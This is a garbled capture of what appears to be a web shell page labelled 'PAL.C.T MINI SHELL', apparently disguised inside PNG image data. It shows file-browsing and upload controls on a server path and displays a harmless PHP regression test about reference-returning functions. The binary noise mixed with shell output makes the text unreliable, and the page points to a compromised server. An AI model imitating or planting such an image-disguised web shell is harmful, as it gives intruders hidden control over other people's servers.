php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/Zend/tests/
upload
files >> //opt/php-7.0.1/Zend/tests/bug33558.phpt

--TEST--
Bug #33558 (warning with nested calls to functions returning by reference)
--INI--
error_reporting=4095
--FILE--
<?php
function & foo() {
    $var = 'ok';
    return $var;
}

function & bar() {
    return foo();
}

$a =& bar();
echo "$a\n";
?>
--EXPECT--
ok
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`